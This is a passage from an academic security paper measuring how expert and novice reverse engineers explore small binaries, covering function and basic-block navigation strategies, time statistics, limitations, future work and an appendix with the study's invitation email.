more time looking at unrelated code (dots in the white band)
than the second (9 against 4 minutes).

The novice session appears more chaotic. It contains many
more points (i.e., BB visits), reaching a total of 3469 visited
blocks, and the user kept switching back and forth between
the three main functions, probably trying to make sense of the
entire program.

Looking at all 72 graphs, it seems like everyone has their
own style. However, we are interested in generalizing these
first observations and finding whether the strategies adopted
by experts have something in common that does not appear
in the novice sessions. We also notice considerable variance
among the experts themselves, so we want to study possible
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Table 2: Prevalence of Function-level Strategies for novices
and experts while approaching the two binaries

Strategy Test 1 Test 2
Novices Experts Novices Experts

Sequential 4 - 8 -
Backward 2 6 5 8
Forward 33 27 26 25

Depth-First 0 2 1 6
Breadth-First 11 8 16 12
Hybrid 28 23 22 15

differences among users in the same group.
To perform this analysis, we first distilled the collected low-

level events into several high-level features representing ob-
servable behaviors that we could identify in our dataset of par-
ticipants. We then tested whether each feature was substantially
different between experts and novices and whether it was posi-
tively correlated to the overall solution time. While this second
aspect does not necessarily imply causation, it can still show
which set of techniques are more commonly used by those
reversers who could complete the exercise in a shorter amount
of time. Before performing the statistical test, we checked if the
data distribution (especially for time samples) was normal and,
in negative case, we applied a log-transformation to normalize
it. For each test that we executed, we collected the resulting
p-values inside a vector, and we used the Bonferroni method
to correct them with an input alfa of 0.05 (all additional hy-
potheses we tested are listed in Appendix 7). The corrected
alfa that we obtained is 1.2e-03 and all values that we report in
the paper already take into account the Bonferroni correction.

6.1 Functions Exploration

Function exploration strategies play an important role to
discover the path between the main and the target functions.
Once this path has been unveiled, users can focus on the BBs
that compose the functions in this path and therefore they
abandon their function-level strategy and drive the exploration
according to what they found. For example, if we consider
the second expert of Figure 5, we can note that she adopts
a backward approach, starting from the target and then
reaching the main function. Then, she focuses with more
attention on the BBs of such (and other) functions to figure
out how to craft the proper input to solve the challenge.

Three different ways exist to move across functions: by
following Xref, by direct access (i.e., by clicking on the
function name in the sidebar), and by following the CFG (i.e.,
by clicking on the call instructions or by using the ESC key
to step backward). Accordingly, we identified three main
exploration strategies: forward (starting from the program’s
main and following the CFG), backward (by first searching the
API call that prints the SUCCESS string and then backtracking
the analysis by following Xref references), and sequential

(i.e., by exploring each function independently of its role or
position in the callgraph).

Whenever a user explores the code of a function and
encounters a call instruction, she can decide to proceed either
depth-first or breadth-first. In the first case, the reverser visits
each function vertically until she reaches a leaf. In the other,
she explores the called functions horizontally before moving
deep into each part of the call graph. To discern between the
two strategies we cannot use standard DF and BF detection
algorithms, as users often alternate between the two methods.
Therefore, we considered a sliding window of two visits on
the call graph and compared consecutive bi-grams by looking
for typical BF or DF patterns. For instance, a typical window
of a user using a DF approach consists of two visits to different
functions following the direction of the graph’s edges. On the
other hand, the bigrams of a BF strategy contain consecutive
bigrams of the same two functions, but appearing in alternate
directions (e.g., f−g followed by g− f ).

We say that a participant predominantly uses a given strategy
if it employs it at least 50% more frequently than the other.
When this does not happen, we assign the user to a hybrid cat-
egory, which means that the reverser adopted both exploration
strategies at different points in time without a clear preference.
The prevalence of the different exploration techniques is
summarized in Table 2 for both novices and experts, and it
shows that experts and novices clearly use different techniques.
The sequential exploration is adopted by a non-negligible
amount of the beginners (4 in the first test and 8 in the second
one), but none of the more experienced reversers follow this
approach. Users in both categories prefer the forward rather
than the backward exploration. We can also see that BF visits
are much more common than DF, and it is important to note
that almost none of the novices resorted to a DF approach.

So far, we learned that experts tend to use different
strategies, but it is still unclear whether a given strategy
impacts the time required to solve the exercises. We performed
an ANOVA test by splitting the participants’ solution time into
3 groups (depth-first,breadth-first or hybrid), and applying
the one way function to these. We ran a separated test for each
challenge because some participants changed their strategy
depending on the task, but all tests failed (p-values for each
challenge were 0.17, 0.19 with effect sizes of 1.8 and 1.6 for
the forward-backward-sequential classification and 0.14, 0.2,
effect sizes of 2.1 and 1.9 according to the depth-breadth
separation). In fact, as depicted in Figure 6, all techniques
were used to efficiently solve the two exercises.

6.2 Code Selection

We now check where the reversers spent most of their analysis
time. Table 3 shows all functions in the second binary, and for
each of them, it reports several metrics. The table is divided
into two parts: the top half lists useful functions, i.e., those
involved in the solution of the problem. The bottom half
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Figure 6: Time needed to solve Test 2 grouped by strategies.

                    

                    

                    

                                        

                    

                                        

                    

                    

                    

                    

                    

                    

                    

                    

                    

                    

                    

                    

                    

                                        

                    

                    

                    

                    

                    

                    

                    

                    

                    

                    

                    

                    

                                        

                    

                    

                    

                    

                                        

                    

                    

                    

                    

                    

                    

                    

                    

                    

                    

                                        

                                        

                    

                    

                    

Figure 7: Average times spent in the BBs of Test 1

lists instead the five ‘useless’ functions (the binary accepts
three different commands, but only one is required to print
the success string). However, since also the related functions
include irrelevant paths (e.g., to handle error conditions), in the
first two columns we report the total number of basic blocks
in the function and the total number of ‘good’ blocks (Bgood),
which are those that must be reversed to conclude the exercise.
The table also reports how much time (both the absolute
median time and in percentage over their entire session)
experts and novices spent on each function and the overall
ratio between the experts and the novice time (last column)
computed as the absolute median time of novices divided by
the absolute median time of the experts for that function.

Table 3: Median Time Per Functions for task 2
Function BB BBgood Experts Novices Time

min (%) min (%) Ratio

main 16 12 9.1 (15.8%) 29.4 (13.9%) x3.2
sort_case 8 6 5.7 (9.6%) 18.2 (8.6%) x3.1
setup 6 4 4.4 (7.8%) 13.4 (6.3%) x3.0
is_sorted 12 10 10.4 (18.1%) 28.9 (13.7%) x2.7
init_list 8 7 8.7 (15.1%) 38.7 (18.3%) x4.4
is_empty 1 1 0.26 (0.4%) 1.0 (0.5%) x3.9
insert_node 7 6 5.8 (10.2%) 28.0 (13.4%) x4.8
is_number 9 8 4.7 (8.2%) 22.9 (10.9%) x4.8
length 4 4 3.5 (6.2%) 12.0 (6.0%) x3.5

useless-0 6 0 1.0 (1.8%) 2.8 (1.3%) x2.8
useless-1 4 0 0.5 (0.9%) 2.9 (1.4%) x5.7
useless-2 7 0 0.9 (1.6%) 2.9 (1.4%) x3.1
useless-3 4 0 1.5 (2.6%) 5.4 (2.6%) x3.6
useless-4 4 0 0.8 (1.4%) 3.9 (1.9%) x4.7

TOTAL 96 58 57.2 (100%) 210.4 (100%) x3.6

There are two interesting observations we can make from
these results. First of all, all participants spent most of their
time on main (because it was longer) and on the functions that
operate on linked lists. However, beginners were impacted
more by the nature and complexity of the function. For
instance, they spent much more time (4.8x slower than experts)
to recognize that is_number only verifies that all parameters
are integer numbers. We believe that this is due to the fact that
similar simple functionalities are encountered frequently by
reversers and therefore are easily recognized by experts.

Nevertheless, the most striking result is the fact that, in
percentage, novices spent almost the same percentage of their
time (8.6% vs 8.3% for experts) on reversing useless code
(even if in absolute terms they still spent four times more than
experts). At first, this seemed counter-intuitive. In fact, we
expected experts to be better at quickly skimming through
the code and ignoring it if it was not related to their task.
However, given the numbers in Table 3, we hypothesized that
this discrepancy is because novices were so slow to understand
the difficult parts of the code that, in percentage, they appeared
faster in discarding the non relevant ones. We computed the
same values for the first binary and we observed the same
trends even if in that case the number of functions is minor
compared to the second challenge (only 6). Indeed, the main is
still the function where users spent most of their time and the
effort dedicated to the useless functions is basically the same
in percentage (13.1% for experts vs. 12.5% for novices). For
space reasons we report the values in Table 6 in the Appendix.

Hence, we decided to measure the total number of basic
blocks that were visited by each participant. In total, the two
exercises combined contained 155 basic blocks, but only
94 (61%) of them were actually along the solution path. To
complete the two exercises, the median expert completely
skipped (i.e., never even checked once) 24 basic blocks, while
the median novice skips only 6 of them. Indeed, this fact
shows that experts could cut entire branches (or functions) by
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Figure 8: Progression of Top5 and Bottom5 experts in the
second challenge.

only looking at a few of their blocks.
For instance, Fig. 7 shows the CFG of Test 1. The green

edges point to interesting BBs while the red ones point to
useless BBs. Each node is split in half: the intensity of the
left side represents the amount of time spent on that BB by
the experts (on average); the right side represents the same
for novices. If we consider the noninteresting paths, the blue
intensity is generally higher than the red. Experts mostly
recognize that some code parts lead to useless BBs by just
reading the first BBs of that function and then recovering the
correct path to the target function. Novices instead needed
to go through also the noninteresting parts of code before
understanding that they do not need them for their purposes.

Finally, we performed a 2-sample t-test using as an hypoth-
esis the correlation between the group (i.e., expert/novice) and
the time spent on non-useful portions of code. With a p-value
of 5.3e-04 and a t-test of 4.86 we can conclude that indeed
there are statistically significant differences in the way the two
groups of participants look at the non-interesting parts of the
binary.

6.3 Birdseye Overview

Experiments on code comprehension conducted by Uwano
et al. [51], and independently validated by [44], have found
that users often perform an initial scan of the entire codebase
to get a general idea of what the program is supposed to do.
During this initial scan, the authors found that programmers
went through 70% of the code in the first 30% of their analysis.

By looking at the reverse engineering sessions we collected
in our experiments, we can clearly identify some reversers
performing such preliminary scans. However, this behavior
is not as typical as one might expect. In fact, in our data, only
36.0% of the experts visited 70% of the code blocks in the
first 30% of their time. On average, at the 30% mark, expert

reversers had visited only 48.2% of all BBs. The number
increases to 53.4% (still well below the 70% threshold) if
we only count the good basic blocks and ignore those that
were not relevant for the task. Beginners tended instead to
move through each BB much quicker at first and to return back
multiple times during their sessions to read again the code (we
will analyze this aspect in Section 6.4). As a result, 69.4% of
them met the 70% threshold at the 30% mark.

But there is more. Figure 8 shows the Cumulative Distribu-
tion Function (CDF) of the visited BB over time by comparing
the top five experts (based on their solution time) against the
bottom five. It is interesting to observe that the fastest reversers
(in red) progressed more linearly and did not employ any
initial survey strategy.2

This seems to suggest that a preliminary overview of the
entire binary might be useful to get an orientation in large
codebases, but it might not be very useful in smaller exercises.
Even more surprising, we found that the majority of experts
did not even ‘try’ to quickly skim through the code of the
various functions, even though they did not know in advance
anything about the complexity of the task.

Figure 8 also confirms what we found in the previous section,
i.e., that all best reversers were not fastest only because they
could read and understand the code faster, but also because
they reversed less code. On the far right of the CDFs we can see
that the red curves terminate between 60% and 80% of the total
BBs (remember that only 61% were along the solution path),
while the blue lines fall in the range between 80% and 100%.

6.4 Basic Blocks Exploration
After looking at the function granularity, we now focus our
attention on individual basic blocks.

Thanks to the use of the restricted focus viewer, our reverse
engineering platform can accurately track the time spent by
each participant on each individual BB. However, not all these
time events are equally important. For instance, it can occur
that when moving the mouse pointer between two BBs, the
user accidentally moves the mouse over an intermediate BB
without being really interested in its content. Our infrastructure
would capture this behavior, generating an event for all three
BBs. To remove the noise introduced by these spurious events,
we decided to conservatively discard all the views with a
duration below 500 milliseconds. This threshold is based on
the fact that, according to Rayner et al. [42], while reading text,
the eyes stay upon each single location from 100 ms to over
500 ms. Given the fact that a BB is often composed by multiple
lines, this threshold ensures that a participant had time to focus
on at least one location in the BB. Anything below that would
not provide much information to the reverser.

It is essential to understand that the time a reverser spends
on a single BB is affected by multiple factors, including the

2This trend does not change if, instead of basic blocks, we perform the
measurement at a function granularity (we omit the graph for space reason).
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Figure 9: Comparison of the distribution of TFirst , TMax, and
TTotal time among the users in the two groups.

BB complexity, the user assembly reading skills, the role of
the block inside the binary, the navigation strategy of the user,
and the state of the ongoing RE session. We will try to break
down these factors in the rest of the section.

To begin with, for each BB we identify three different time
values. First, the time each user spent on the block the first
time she encountered it (Tf irst). Second, the total cumulative
time (Ttot) each user spent on the BB over the entire exercise.
And finally the longest consecutive time each user spent on
the block (Tmax).

By comparing these three time intervals, we can make sev-
eral interesting observations. Figure 9 shows the distribution
of the median time spent by each user over all the basic blocks
of the two exercises. It is interesting to note how, the first time
they encounter a new basic block, both experts and novices
spend only a few seconds on its code: on average 1.3s for
beginners and 1.5s for experts. Instead, the maximum and
total time spent on the blocks are over one order of magnitude
higher, often lasting for tens of seconds (6.8s vs 21.9s for Tmax,
and 16.3s vs 73.4s if we compute the median times for the
Ttot). As a confirmation of this aspect, we ran the 2-sample
t-test over the values of Tf irst , Tmax and Ttot collected over
each user and then separated by novices and experts. Indeed,
we obtained that the difference for the first visit (Tf irst) is not
statistically significant (p=0.2) but the time difference on Ttot
and Tmax are (respectively with p=7.4e-07 and p=1.5e-08).

At first, one might easily dismiss the role of these first
short visits, nothing more than a quick glance at a block
while the user rapidly moved the mouse over it. It might seem
obvious that the ‘real’ reverse engineering is performed over
the subsequent visits. However, if we compute the fraction
of BB that a user visited only once we see that things are
more complex. On average, experts visit 28% of the BBs
only once. In 80% of these cases, the visit lasted less than two
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Figure 11: Percentage of Basic Blocks visited only once, or
analyzed on the first visit.

seconds. This means that experts dismiss almost 22% of the
basic blocks in a single glance. On the contrary, inexperienced
users make a single visit only for 10% of the BB, and in total,
dismiss only 7% in less than two seconds.

All the remaining BBs are visited by each reverser multiple
times. In fact, even if the two programs combined contained
only 155 BBs, to complete the two exercises, experts visited,
on average, 1368 basic blocks and novices 4326 (2-sample
t-test=9.7 and p=6.8e-12). Figure 10 shows the relationship
between the time required to solve the challenges and the
number of visited blocks.

However, visiting a block multiple times is not always a sign
of inefficiency, and in some instances it is even unavoidable
(e.g., those blocks that contain a function call are often
re-visited when the user moves out of the function and back
to the callee). We ran the Pearson correlation to test if a
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Table 4: Correlations between visits duration and BB length
Experts Novices

Hypothesis Pearson p-value Pearson p-value

Tmax and len(BB) 0.29 1.0e-04 0.31 5.8e-04
Ttot and len(BB) 0.30 8.28e-04 0.33 1.6e-04

Tf irst and len(BB) 0.37 1.9e-05 0.37 1.3e-06

relationship exists between the number of times the users go
through an already visited BB and the overall solution time
and obtained a result of 0.68 (p-value 1.2e-05) for experts and
0.46 (p-value 2.5e-04) for novices. Therefore we investigated
this aspect in more detail and computed the number of times
the first visit to a basic block was not the only one, but it was
the longest (i.e., Tf irst ==Tmax).

If we assume the most prolonged visit is when the user
actually completely reversed the BB code, we can use this
indicator to know whether this is performed for the first time
the reverser encounters a new code. In this case, the median
is 9.6% of the BB for beginners and 14.8% for experts. Again,
it seems that experts tend to fully understand the code the first
time they read it, while beginners go back multiple times, and
in 80.6% of the cases, their first visit is not the one where they
reason the longer on the code.

Finally, it is interesting to test if these short first visits
are just a consequence of the fact that a reverser might be
simply faster at processing assembly code. In other words, we
wanted to test whether those users that have shorter first-time
visits (Tf irst) also spend less time overall on the BBs (Ttot).
However, the Pearson correlation of the 2-time values is−1.2,
p-value=0.5, showing no statistically significant correlation.

Figure 11 shows how a scatter plot of the two aforemen-
tioned metrics (percentage of blocks visited only once, and
for which the first visit is the longest) can clearly separate the
majority of the experts from novices reversers.

6.5 Speed Factors

In our final analysis of the different reversers’ speed, we look
at which factors affected the time spent on individual basic
blocks.

For this purpose, we limit our analysis to those blocks that
actually needed to be understood in the first place. Thus, we
first remove those BB that are NOT related to the solution of the
exercise as well as all headers and footers of the functions (as
it might not always be required to analyze their behavior care-
fully). The remaining (which we will refer to as BBcore, and that
account for 47% of all blocks in the two assignments) capture
the code each user had to reverse to reach the correct solution.

The first hypothesis that we wanted to formulate was to
study the potential correlation between the time spent on each
block and the size of the block itself. Indeed, we observed that
the first, total and max times are positively correlated to the

Table 5: Statistical tests w.r.t. the branch selection data (upper
part) and the semantical elements data (lower part)

Hyphothesis Result p-value

Novices true branch & solution time 0.21 0.06
Novices close branch & solution time 0.13 0.2
Experts true branch & solution time 0.42 0.7
Experts close branch & solution time 0.87 0.4

2-sample T-test Comments 0.4 0.6
2-sample T-test Variable Renames 0.8 0.4
2-sample T-test Function Renames 0.7 0.4

number of assembly instructions contained in the basic block.
However, the exciting result is that the Pearson correlations are
quite small for Ttot and Tmax while they exhibit an higher value
for Tf irst as reported in Table 4. Moreover, under the same hy-
pothesis, the correlations are always more elevated for novices.

One way to interpret these results is that the amount of time
spent by reversers on a basic block is only marginally influ-
enced by the time required to actually read (or ‘parse’) each
assembly instruction. The impact is more visible for inexpe-
rienced reversers (who probably spend more time reading the
assembly) and less on experienced users. To understand which
other factors contributed to the reversing time, we extracted
the top 5% of the basic blocks in which each user spent most
of her time. Then we compared all sets to identify those blocks
that were problematic for a large percentage of users.

If we look at total or max time, both experts and beginners
spent most of their time (respectively 19% and 18% on
average) on blocks that prepared the function call parameters.
While usually straightforward to reverse, all reversers probably
paused to reason about which values were passed to the
function’s parameters. If we look instead at the blocks that
frequently appear among beginners but not among experts, we
find a total of 20 BBs that are shared between a minimum of
3 and a maximum of 11 novices and that are responsible for an
additional 9% of time on average overall. We analyzed them
to unveil the assembly language (ASM) patterns that slowed
down the novices while reading them. In total 6 blocks contain
uncommon instructions (such as setnz, imul, and sar) and
7 include instructions that operate with in-memory data struc-
tures, thus requiring to reason about the memory layout of the
program in that specific moment (e.g., instructions that access
the i-th element of the list of Task 2). We also found 3 BBs that
operate on the static strings contained in the binary. Among
these 20 BBs only 4 of them have a number of instructions ma-
jor than 10 while the other 16 contains less than 6 instructions
(and in 10 cases they were just 3 instructions long). This finally
shows that the nature of the instructions is more relevant than
their number to explain the comprehension time for beginners.
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6.6 Other Aspects
In the previous sections, we discuss several aspects we believe
can capture subtle but essential characteristics of the behavior
of either experienced users or beginners. We also tested many
other hypotheses and tried to isolate other behaviors (reported
in Appendix 7) but for which we could not find any statistical
difference among our users. For these hypotheses that did
not find a statistical validation we report the p-value that we
obtained after running the Pearson correlation, but we omitted
the correlation value itself for space reasons, since it was not
meaningful. However, we want to add two more short points to
our analysis regarding the impact of the user interface in branch
selection and the other events we collected from our platform.

Branch Selection - when visiting a conditional BB for
the first time, beginners choose to explore the true branch
first in the 41% of the cases, whereas experts followed the
true branch in the 42%. However, we found that the physical
position (on screen) of the basic block is much more important
than its logical one. In fact, our results show that both experts
and novices tend to simply visit first the closer basic block,
respectively in 87% and 88% of the cases they encounter a
branch. Finally we tested the hypothesis that the choice of
either true branch or close branch as a next step has an effect
on the overall time to reverse engineer the binary. However
for both experts and novices we obtained p-value > 0.1 (values
are reported in Table 5).
Comments and Rename Actions - we also investigated the
use of the other features implemented in our infrastructure:
comments, variable renames, and function renames. On aver-
age, we recorded 24 comments among all the expert sessions,
whereas we count only 11 from novices. The same trend
happens for variable renames (19 vs. 7) and function renames
(12 vs. 2). One more time we applied the 2-sample t-test for
each of the semantical elements created by the user, divided
for experts and novices. The results of the test (reported in
Table 5) show no statistical significant relationships between
these features and the users performance. At a first look,
this result looks like surprising as we would expect that a
statistical significancy exists between the usage of semantical
elements, the solution time and the experience level. However
our hypothesis for this behavior is that probably the statistical
relationship between the use of semantical text fragments and
the RE performances become more and more evident while
observing this on larger and more complicated codebases
(potentially together with other reversers with the same
experience and working in the same team). We will discuss
more carefully about challenge design limitations and future
directions respectively in Sections 8 and 9.

7 Summary of Findings

In this study we quantitatively measured the behavior of 72
reversers, both experts and novices, over a total of 272 hours of

RE activity. By looking past the individual features discussed
in the previous section, we will now summarize the main
findings that emerged from all our results.

First of all, we found that each user is unique and has her
strategy and her way to reverse binary code. However, by
looking under the apparent diversity of actions, we can identify
a number of core strategies. To begin with, novices move
prevalently forward from the program’s main while experts
mix forward and backward movements. While statistically the
difference is clear, there are notable exceptions in all groups,
showing that one can be very efficient independently from the
strategy it adopts (except for the sequential scan that is only
used by the very beginners).

Experts also exhibit a more linear progress, avoiding to
jump back and forth among the same basic blocks they already
visited in the past. Moreover, they make every visit count,
even the first one. This allow them to dismiss 22% of the basic
blocks in a single observation, which often last less than two
seconds. The 70-30 birdseye scan observed several times in
studies of program comprehension does not seem to apply
to binary reversing, at least at the small scale dictated by our
exercises. Instead, the experts’ ability to quickly identify and
ignore the regions that were not relevant for their task was
one of the essential aspects that distinguished experienced
users from beginners. This, which fits the self-reported
techniques that Votipka et al. [53] group under the name of
subcomponent scanning could, in fact, be related to the ability
of the expert’s brain to recognize code patterns, but more
focused experiments (e.g., with brain EEG sensors) are needed
to investigate further and validate this hypothesis.

Finally, our experiments show that the number of instruc-
tions is a very poor predictor of the time required to understand
a piece of code and that the presence of less common
instructions has a more noticeable impact only on novices.

8 Limitations

When we designed our experiments, we had to make many
choices to balance the difficulty of the problems (and,
therefore, the time required for completing the exercises),
the amount of data we could collect, and the impact of our
instrumentation on the user experience. These choices might
have introduced biases in the results or might have prevented
us from observing some aspects of the users behavior.

Expertise - In our study, we measure the expertise of a user
in three ways. First, based on “reputation”, i.e., by inviting
as experts only those users that can already solve very difficult
reverse engineering challenges. Second, by the frequency
on which each user reverses binary files (as reported in the
questionnaire during registration), and finally by the total
time required to solve the two assignments. However, one
may argue that a good reverser does not necessarily need to
be fast—but some may prefer instead to be meticulous and

USENIX Association 31st USENIX Security Symposium    2739



precise in her findings. New experiments should be designed
only for expert reversers to measure this aspect by providing
them with more challenging assignments where precision may
be more important than speed.

Restricted Focus Viewer - The use of a RFV to capture the
part of the code a user is currently focusing on is a standard
methodology in comprehension experiments. While it allows
for remote participation without the burden of on-site (and
uncomfortable) eye-tracking solutions, this choice also intro-
duces some limitations. First, it impacts each participant’s
overall speed. It also prevents glances, in which users quickly
look at a different basic block, maybe just to check a register or
the final instruction. In our settings, this requires moving the
mouse, and therefore users might perform this task less often
than in an unconstrained environment. We can also hypothe-
size that the issue with the glances affects the order in which
basic blocks are visited. Another potential drawback is that it
could technically discourage the participants from using the
birdseye overview (Section 6.3), forcing them to rely mostly
on their own memory to remember a previously visited basic
block. However, this affects only a reduced number of cases:
moving the mouse back to a previous basic block is “expen-
sive” only if we want to quickly recall a specific location of
that block (e.g., a register, a single ASM line) as in the case of
glances, but it becomes fundamental, therefore justifying the
time “expense,” if the participant wants to entirely read the BB.

These factors can affect the code comprehension process
by distorting the way it is performed. In absence of RFV,
we could expect a higher number of glances and therefore a
shorter time to discard some blocks of code. Unfortunately the
only way to determine how the RFV influences our findings
would be to compare it with some data collected using the
same tool without RFV, which is impossible by design. Thus
we can only acknowledge this limitation and hope that future
studies will be able to overcome it with different technologies
or with a different experiments’ design (e.g., smaller group
of experts monitored with eye tracking devices).

Nature/Number of the Exercises - It is possible that the tasks
we ask the participants to perform may affect the ecological va-
lidity of the behaviors we observed in their session. In particu-
lar, more difficult problems and larger codebases could require
different strategies or help identify other aspects that differen-
tiate one expert from the others. However, in this measurement
study, we wanted to include beginners and, therefore, opted for
tasks that could be solved (even if with more significant effort)
by non experienced reversers. While the number of tasks could
be extended , this would increase the time to complete our as-
signment, especially for some participants who already spent
several hours with the current configuration (and that are not af-
filiated to our group). Even if this represents a limitation of our
work, it is probably an inevitable choice given our initial goals,
i.e., to involve many users ranging from the “newbie” to the
“elite” hacker and compare them on the same set of challenges.

We hope that future studies will either confirm (or disprove) our
results with larger and more difficult binaries to reverse. For ex-
ample, we can hypothesize a more frequent use of the birdseye
overview (described in Section 6.3), which in our experiments
was used only by a small percentage of experts. Another aspect
that is largely related to the size of the binaries is the number of
functions, and therefore we expect a more pronounced impact
of the different strategies described in Section 6.1 on larger
programs. For instance, an initial horizontal investigation can
be beneficial when analyzing larger codebases.

9 Implications and Future Work

The first area that would benefit from a solid comprehension
of the RE process is teaching and training. Several features
we identified are correlated with experience, but this does
not mean that could not be improved by performing specific
exercises. As of now, RE learning is mainly based on the
resolution of binary challenges of increasing complexity [14].
A possible implication of our findings could be to design binary
analysis exercises more focused on a few BBs, to stimulate
a student to match and memorize patterns. Concerning these
ideas, currently, we are trying to integrate them into the RE
courses organized by our institute.

If teaching RE to humans is essential to form new experts
in the RE domain, training computers to mimic human behav-
ior would be fundamental to scale over the large amount of
software/malware released every day. We believe that study-
ing the techniques used by humans is the first step to discover
new ways to train machine learning models to perform simi-
lar tasks. Psychologists have learned that many activities are
inherently linked to the ability to recognize previously seen
patterns [19,31,55] and that the experts are those who learned a
significant number of patterns over several years of experience.
Since learning to recognize patterns is what ML algorithms can
do well, we also studied which aspects human experts focus
their attention on to provide the building block for further stud-
ies on such topics. Extending the concept, we could even intro-
duce semantic awareness in the classifier. For instance, many
experts in our experiments could easily recognize non-standard
implementations of the list operations related to the second
challenge or discard branches/functions by just reading a sub-
set of the related BBs. This suggests that ML classifiers could
be trained to mimic this behavior and to automate the pattern
recognition phase both for useful and useless portions of code.

Moreover, even though our study does not put a particular
emphasis on the usability issues, we deem that some insights
(such as the fact that proximity in the UI view guides the
reversers’ exploration) can also improve the current interface
of reverse engineering tools to make the human activity even
more effective.

Finally, we can hypothesize implications of our work with
research fields that do not necessarily fall under the RE cat-
egory. For instance, authors of [13, 52] conducted a user study
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about the effort needed to violate source code obfuscation tech-
niques. In this context, one of their limitations was that they
could not perform fine-grained measurements. Therefore, we
argue that our methodology (i.e., the use of RFV with its pros
and cons) could provide meaningful input in these scenarios.

The presented ideas and implications are only a subset
of the possible consequences of more advances in the RE
field. Indeed, as explained in the limitations (Section 8), our
measurements came at the expense of many restrictions in the
scope of the study. Future work will have the role to focus on
the many aspects that remained uninvestigated, thus offering a
broad range of research directions that can result in even more
implications. The first thread is to dedicate a set of experiments
for a group of expert-only participants considering more
complicated challenges. Besides that, another branch is
definitely to focus on other RE aspects which belong to a more
specific domain, such as malware analysis or vulnerability
discovery. Also, the methodology will play a fundamental role
in future research, preferring remotely accessible solutions for
studies over a large group or eye-tracking devices for smaller
groups. We hope, with our work, to provide significant input
for many other papers about this topic that still has so many
questions that need to be answered.

Furthermore, our study presents itself with an exploratory
spin, which justifies why we tested many hypotheses along our
road. It is important to understand that such hypotheses (also
those ones reporting p-value = 0) represent for now promising
theories that need more validation before becoming actual
findings. Therefore, because this field is still in its infancy, we
invite future researchers of this topic not to assume our isolated
behaviors as the final word, but rather to validate/invalidate
them with different experiments and methodologies.

10 Conclusions

Drawing inspiration from the first set of interviews conducted
by Votipka in 2020 [53], the objective of our study was to
lay the second brick towards a solid understanding of the RE
process from an assembly code comprehension perspective.

A deep understanding of the topic can help us from different
points of view and has a few interesting implications that
should be taken into account. With our work, we hope to
provide a valuable input for future research in a field that, so
far, was poorly explored.

In the spirit of open science, we release 3 the source code
of our web RE framework together with the challenges and the
test scripts, to allow the community to continue further studies
in this direction. Lastly, our measurements are summarized
in Table 8 in the Appendix.

3https://github.com/elManto/REmind
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Appendix

A Text of the invitation email

Experiment purpose
A study about how humans coming from different back-

grounds and expertise levels (from the ’noob’ to ’expert’)
perform the process of Reverse Engineering and which are
the main differences between these categories.

Before starting
The test is completely anonymous, the registration is

mandatory but it is quick (just a self-evaluation question). The
system will give you a token which is needed for the login, so
please preserve it until the end of the test.

The test
For the test, you can find our web-UI at this link

(https://reverse.s3.eurecom.fr): it supports some of
the main features for RE (commenting code, rename, Xref,
...). After accessing it, the first page comes with a further
description of the experiment and of the interface (we invite
you to read for the details) and with a list of 3 challenges
that you have to solve with our web-UI. The first challenge
(’Warmup’) is just a warmup one so it is optional and we
created it just to make the user become more familiar with
the tool. The second and the third challs (namely ’Test 1’ and
’Test 2’) represent the core part of the experiment. Clicking
on one of the two tests starts the RE interface. From now on,
your job consists of understanding what the binary does and
then submitting a solution in the proper form. You can solve
the 2 tests in separate moments and you can stop a RE session
and then re-start it (even if we think the best thing is that you
stop the RE session after submitting a solution).

Submitting a solution
Note that for the two tests (Test 1 and Test 2), the solution is

not required in a specific format (like the flags in a CTF), but it
is supposed to be a short description in your own words (just 1
or 2 lines) about the needed steps that make the binary to print
the string ’Congratulations’ or ’Success!’. Alternatively, also a
command line that triggers the correct path in the binary is fine.

Notes
• The interface is not supposed to be a new competitive

product, but it is just a tool for the data collection. This
does NOT aim to be a “realistic scenario”, but a “scenario
for which we capture some interesting data”. It’s an
experiment! Please bear with it :-)
• The experience could result a bit painful because basic

blocks are blurred when the ’onmouseover’ event is
captured on another BB. Although we fully understand

Table 6: Median Time Per Functions for Task 1
Function BB BBgood Experts Novices Time Ratio

mins (%) mins (%) Time Ratio

main 23 17 14.6 (44.6%) 65.3 (45.4%) x4.4
bridge 12 9 11.4 (34.9%) 52.3 (36.3%) x4.5
target 3 3 2.4 (6.3%) 8.2 (5.7%) x3.4

useless-0 1 0 0.17 (0.5%) 0.60 (0.42%) x3.5
useless-1 4 0 0.58 (1.8%) 2.07 (1.4%) x3.5
useless-2 16 0 3.5 (10.8%) 15.4 (10.7%) x4.4

TOTAL 59 29 32.6 (100%) 143.8 (100%) x4.4

Table 7: Additional hypothesis (not discussed elsewhere)
Hyphothesis p-value exp p-value nov

First quartile of time spent on a BB and
BB length 0.1 0.6

Interquartile of time spent on a BB and
BB length 0.06 0.07

Average of time spent on a BB and
BB length 0.08 0.1

Mode of time spent on a BB and
BB length 0.4 0.7

Tf irst and Tmax 0.3 0.2
Tf irst and Ttot 0.8 0.8
Solution time and number of BBs she
skimmed (i.e., she did a quick look at BB
and then a longer one to the same BB)

0.4 0.5

Solution time and how many times the user
went back to the previous BB instead of
going forward

0.1 0.2

Glanges (i.e., visits of less than 2 seconds)
and BB length 0.1 0.1

Solution time and how many times she went to
a true branch 0.8 0.1

Solution time and how many times she went to
a close branch 0.3 0.2

this makes the RE process slower, this is needed for some
aspects we are trying to collect. So, yes, this is NOT your
IDA experience you are looking for... it’s an experiment!
Please bear with it #2 :-)
• For the tests (’Test 1’, and ’Test 2’), we disabled the

’Strings’ view. Also in this case, the reason is linked with
our models and the data we need to collect. So do not
worry if you cannot access the ’Strings’ view, there is no
bug, it is just a design choice.
• In general, we are interested in static analysis, not

dynamic one. This explains why we did not add a
debugger to the tool. If you are used to reverse with a
debugger, that’s good! But for this experiment we are
interested to know how you would approach a purely
static analysis task!
• There is no ranking or prize, this is just an experiment:

so please do not cheat.

Thanks a lot for your time/help!
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Table 8: Individual Experts Features
User Solution Time Function Exploration (Test1 ; Test2) Transitions Tfirst=Ttot Tfirst=Tmax Skipped BB
Exp.1 169 Forward,Hybrid;Forward,DFS 2997 16.7% 14.8% 18
Exp.2 137 Forward;Hybrid;Forward,BFS 2551 15.4% 8.3% 19
Exp.3 120 Forward,BFS;Forward,DFS 1662 29.6% 12.9% 24
Exp.4 120 Backward,Hybrid;Backward,BFS 978 29.8% 16.7% 30
Exp.5 163 Forward,Hybrid;Forward,BFS 1654 35.6% 17.2% 4
Exp.6 137 Forward,Hybrid;Forward,Hybrid 2359 18.7% 14.1% 15
Exp.7 134 Forward,Hybrid;Forward,DFS 2845 22.5% 8.3% 21
